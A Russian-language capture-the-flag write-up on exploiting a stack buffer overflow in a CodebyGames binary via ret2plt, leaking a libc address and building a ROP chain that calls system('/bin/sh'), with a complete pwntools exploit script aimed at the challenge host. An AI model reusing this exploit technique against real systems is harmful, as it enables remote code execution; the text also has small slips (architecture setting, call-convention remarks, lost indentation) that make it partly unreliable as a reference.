Ку, киберпанки! Сегодня будет раcсмотрена атака, основанная на уязвимости переполнения буффера, ret2plt и дальнейшее получение RCE. Таск был взят с платформы CodebyGames. Думаю, что для тех, кто не прочь поразмять немного кости - статья будет полезной.
Описание почти ни о чем не говорит. Только лишь о том, что используется много цепочек и, очевидно, что необходимо будет составлять ROP-цепочки.
Изучаем бинарь
Первичный анализ, по крайней мере у меня, начинается так:- file - узнаем информацию о файле
- strings - узнаем все строки в программе
- checksec - узнаем о первичных защитах бинаря
- xxd binary | grep "UPX" - узнаем о том, что упакован бинарь UPX или нет
Через strings увидим интересную строку - Enter your name:
Через checksec видим, что отключена защита стека и отключена рандомизация адресов:
UPX также необнаружен:
Подытожим: имеется обычный эльфарь, в котором нет канарейки и рандомизации адресов, что наводит на мысль о том, что скорее всего есть переполнение. Строка Enter your name может навести на мысль, что в этом месте будет переполняха.
Теперь поиграемся с сервисом.
Играем с сервисом
Запускаем и видим найденную строчку, куда вводим имя:
Дальше попадаем в игрушку:
Но там уже мимоход - нет ничего интересного. Попробуем переполнить место, где вводим имя:
Отлично! Нашли багу! Это место является уязвимым теперь приступим к реверсу
Реверс
Реверс программы будет осуществляться в IDA Pro. Начну реверс с поиска строки Enter your name:
По перекрестным ссылкам найду эту уязвимую функцию:
Тут все крайне просто. Есть буффер размером 16 байт, куда записываем имя, и адрес возврата 8 байт. В итоге получаем, что для переполнения необходимо 24+1 байт.
Здесь нет никаких функций, которые хоть как-то приводят к RCE или выводу флага. Поэтому единственным способом получить RCE - атака ret2plt.
ret2plt - бесовская атака и ее изюминка в том, что сто проц получим утечку адреса либсы. Суть в том, что мы выводим адрес библиотечной функции. В эльфарях есть такие штуки как .got и .got.plt. Через этих шутов и получается динамическая линковка с библой.
Когда вызывается puts() на языке C и после компиляции получается не puts(), а puts@plt. Прога не знает, где на самом деле находится puts - поэтому вместо этого он переходит к PLT-записи puts. Отсюда puts@plt делает несколько очень специфических вещей:
- Если для puts есть запись GOT, он переходит по адресу, хранящемуся там.
- Если записи в GOT нет, он решит эту проблему и перейдет туда.
Поэтому в общем виде атака выглядит так: puts@plt(puts@got) --output--> puts@libc
Таким образом, получим утечку либсы.
Ну, что шъ. Примерный алгоритм действий такой:
- Переполняем, выполняем ret2plt
- Получаем утечку и вычисляем базовый адрес
- Возвращаемся в уязвимую функцию
- Переполняем еще раз
- Получаем RCE
Пишем эксплойт
Для того, чтобы выполнить ret2plt нужно знать адреса puts@plt и puts@got:
Далее необходим гаджет pop rdi; ret. Нужен именно этот, потому что регистр RDI используется как первый аргумент в функциях. Это работает только fastcall. В соглашении о вызове stdcall передача аргументов идет через стек.
Для поиска нужного гаджета использовал тулзу ROPGadget:
В принципе, для первой части все есть и реализация этого шага такая:
Python:
PLT_GOT_PUTS = p64(0x401030)
GOT_PUTS = p64(0x404000)
rdi = p64(0x40128a)
ret = p64(0x4014EA)
junk = b'A'*24
payload = junk + rdi + GOT_PUTS + PLT_GOT_PUTS + ret
io.sendline(payload)
for i in range(8):
io.recvline()
leakedLibc = u64(io.recvline()[-7:-1].ljust(8,b'\x00'))
После запуска получаем такой результат:
Теперь вопрос: как узнать базу либсы? Так как последние полтора байта базы libc обычно заканчивается на нули - 000, то по ним можно вычислить версию библиотеки. Есть ресурс, в котором хранятся все библиотеки - libc.rip. Туда вводим последние полтора байта - 0x20f и находим нужную библиотеку:
Отсюда и получается:
leakedLibc = u64(io.recvline()[-7:-1].ljust(8,b'\x00')) - 0x4d20f
Таким образом, получили утечку базы либсы:
Следующий шаг - получение RCE. На скрине с сайта видны адреса строки /bin/sh и функции system(). Строка /bin/sh есть в каждой библиотки libc. Про system() нет смысла говорить - дефолтная функция. И их адреса соответсвенно - LIBC_BASE + 0x919a0 и LIBC_BASE + 0x41d6f. Кусок кода, через который получаем RCE выглядит так:
Python:
rdi = p64(0x40128a)
ret = p64(0x4014EA)
junk = b'A'*24
SYSTEM = p64(LIBC_BASE + 0x41d6f)
BIN_SH = p64(LIBC_BASE + 0x919a0)
payload = junk + rdi + BIN_SH + SYSTEM
io.sendline(payload)
В итоге полный сплойт такой:
Python:
from pwn import *
context.update(arch='i386')
exe = './path/to/binary'
host = args.HOST or '62.173.140.174'
port = int(args.PORT or 27400)
def start_remote(argv=[], *a, **kw):
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
def leak_libc(junk, rdi, ret):
PLT_GOT_PUTS = p64(0x401030)
GOT_PUTS = p64(0x404000)
payload = junk + rdi + GOT_PUTS + PLT_GOT_PUTS + ret
io.sendline(payload)
for i in range(8):
io.recvline()
leakedLibc = u64(io.recvline()[-7:-1].ljust(8,b'\x00'))
return leakedLibc
def rce(junk, LIBC_BASE, rdi):
SYSTEM = p64(LIBC_BASE + 0x41d6f)
BIN_SH = p64(LIBC_BASE + 0x919a0)
payload = junk + rdi + BIN_SH + SYSTEM
io.sendline(payload)
io = start()
POP_RDI_RET = p64(0x40128a)
POP_RDX_RET = p64(0x4014af)
POP_RSI_RET = p64(0x4014ad)
VULN_FUNC = p64(0x4014EA)
junk = b'A'*24
LIBC_BASE = leak_libc(junk, POP_RDI_RET, VULN_FUNC) - 0x4d20f
log.success("LIBC BASE: 0x{:x}".format(LIBC_BASE))
rce(junk, LIBC_BASE, POP_RDI_RET)
io.interactive()
Результат работы эксплойта:
Вывод
В данной статье научились переполнять буффер, реализовывать атаку re2plt и работать с ROP-гаджетами. Думаю, что для новичков в пывне этот таск что надо. Если в кратце, то все пропили, но киберпанк не опозорили.